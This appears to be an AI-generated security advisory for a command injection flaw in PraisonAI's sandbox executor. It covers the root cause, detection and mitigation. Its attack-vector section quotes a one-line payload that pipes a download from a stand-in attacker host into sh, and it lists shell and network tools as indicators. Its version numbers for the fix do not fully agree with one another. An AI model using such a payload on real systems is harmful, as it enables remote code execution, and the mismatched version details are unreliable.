CVE-2026-57136 Overview
CVE-2026-57136 is a command injection vulnerability in PraisonAI, a multi-agent teams system maintained by MervinPraison. The flaw affects the CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts across versions 1.2.3 through 1.7.1. The validator inspects only the first whitespace-delimited token against an allowedCommands list, then SandboxExecutor forwards the entire command string to sh -c. An attacker who can supply commands beginning with an allowlisted executable can append arbitrary shell payloads via metacharacters such as ;, &&, or backticks. The injected commands execute with the privileges of the PraisonAI process. The issue is classified as OS Command Injection [CWE-78] and is fixed in version 1.7.2.
Critical Impact
Authenticated attackers can execute arbitrary OS commands with PraisonAI process privileges, compromising confidentiality, integrity, and availability of the host.
Affected Products
- PraisonAI versions 1.2.3 through 1.7.1
- Component: src/praisonai-ts/src/cli/features/sandbox-executor.ts (CommandValidator, SandboxExecutor)
- Fixed in PraisonAI 1.7.2
Discovery Timeline
- 2026-09-15 - CVE-2026-57136 published to NVD
- 2026-09-15 - Last updated in NVD database
- Patch reference - See the GitHub Security Advisory GHSA-vjv9-7m7j-h833 and the patch commit 709a038
Technical Details for CVE-2026-57136
Vulnerability Analysis
PraisonAI implements a sandbox executor intended to restrict which binaries agents can run. The CommandValidator parses the supplied command, isolates the first whitespace-delimited token, and matches that single token against the allowedCommands allowlist. Once validation passes, the executor hands the untouched command string to sh -c for execution.
This design breaks the trust boundary between validation and execution. The validator reasons about a single executable name, while sh -c interprets the full string as a shell program. Any shell metacharacter appended after an allowed executable produces additional commands that never undergo validation. The resulting execution runs with the same privileges as the PraisonAI runtime, which in typical deployments includes access to model credentials, agent state, and local filesystems.
Root Cause
The root cause is inconsistent parsing between the security control and the execution sink. CommandValidator uses whitespace tokenization, but sh -c uses full shell grammar. Metacharacters such as ;, &&, ||, |, $(...), and backticks are treated as literal by the validator and as control operators by the shell.
Attack Vector
An attacker able to influence a command string passed to the sandbox executor prefixes the payload with an allowlisted binary, then appends arbitrary commands using shell metacharacters. For example, a string beginning with an allowed executable followed by ; curl attacker.example/x | sh bypasses the allowlist entirely and yields arbitrary code execution.
The following patch bumps the pinned PraisonAI version in the project's Docker images to the fixed release:
# Install Python packages (using latest versions)
RUN pip install --no-cache-dir \
praisonai_tools \
- "praisonai>=4.6.59" \
+ "praisonai>=4.6.60" \
"praisonai[chat]" \
"embedchain[github,youtube]"
Source: GitHub commit 709a038
Detection Methods for CVE-2026-57136
Indicators of Compromise
- Unexpected child processes spawned by the PraisonAI runtime, especially sh, bash, curl, wget, nc, or python invoked with network destinations.
- Command strings in application or sandbox logs containing shell metacharacters (;, &&, ||, |, `, $() after an allowlisted executable.
- Outbound network connections from the PraisonAI host to previously unseen domains or IPs.
Detection Strategies
- Inventory installed PraisonAI packages and flag any version between 1.2.3 and 1.7.1 inclusive.
- Instrument sandbox-executor.ts invocations to log the full command string and the argument list eventually passed to sh -c, then alert on divergence between the validated token and downstream execution.
- Correlate agent-issued commands with process telemetry to identify allowlist bypass patterns.
Monitoring Recommendations
- Ship process-creation events (Linux auditd execve, Windows Sysmon Event ID 1, or eBPF exec telemetry) from PraisonAI hosts to a central analytics pipeline.
- Alert on any process whose parent is a Node.js PraisonAI worker but whose command line contains shell control operators.
- Baseline outbound network activity from PraisonAI workloads and alert on deviations.
How to Mitigate CVE-2026-57136
Immediate Actions Required
- Upgrade PraisonAI to version 1.7.2 or later on all hosts and container images.
- Rotate any credentials, API keys, or model tokens that were reachable from the PraisonAI process during the exposure window.
- Audit sandbox executor logs for shell metacharacters and investigate matches for post-exploitation activity.
Patch Information
The fix is included in PraisonAI 1.7.2. Project Docker images were realigned in the v4.6.60 release via commit 709a038. Full remediation details are provided in the GitHub Security Advisory GHSA-vjv9-7m7j-h833.
Workarounds
- Run PraisonAI under a dedicated, least-privileged OS user with no write access to sensitive paths and no outbound network egress beyond required endpoints.
- Wrap the sandbox executor with an external allowlist that rejects any input containing shell metacharacters before it reaches CommandValidator.
- Restrict which principals can submit commands to the sandbox executor, and disable the feature entirely if it is not required.
# Upgrade PraisonAI to the fixed release
pip install --upgrade "praisonai>=1.7.2"
# Verify the installed version
python -c "import praisonai; print(praisonai.__version__)"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
